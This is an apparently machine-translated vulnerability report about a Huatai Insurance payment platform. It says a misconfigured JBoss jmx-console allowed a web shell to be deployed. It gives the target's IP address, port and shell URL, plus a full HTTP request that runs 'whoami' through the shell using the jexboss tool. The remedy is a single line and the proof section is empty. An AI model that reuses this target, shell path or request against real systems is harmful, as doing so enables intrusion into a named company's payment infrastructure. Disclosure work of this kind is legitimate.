Getshell is caused by incorrect configuration of a payment system platform of huatai insurance.

Getshell is caused by incorrect configuration of a payment system platform of huatai insurance.

Getshell caused by improper System Configuration

Http: // 219.141.242.77: 7005/Alianture_frame/login. do
 

The system's jmx-console has a head bypass and can be deployed with shell
 

Shell address: http: // 219.141.242.77: 7005/jbossass. jsp
 

GET http://219.141.242.77:7005/jbossass/jbossass.jsp?ppp=whoami HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: zh-CNUser-Agent: jexbossAccept-Encoding: gzip, deflateConnection: Keep-AliveHost: 219.141.242.77:7005Cookie: JSESSIONID=678DAC4A2B1FEC95C69F13D540336140

 

Proof of vulnerability:

 

 

 

You know

Solution:

Configure jboss correctly.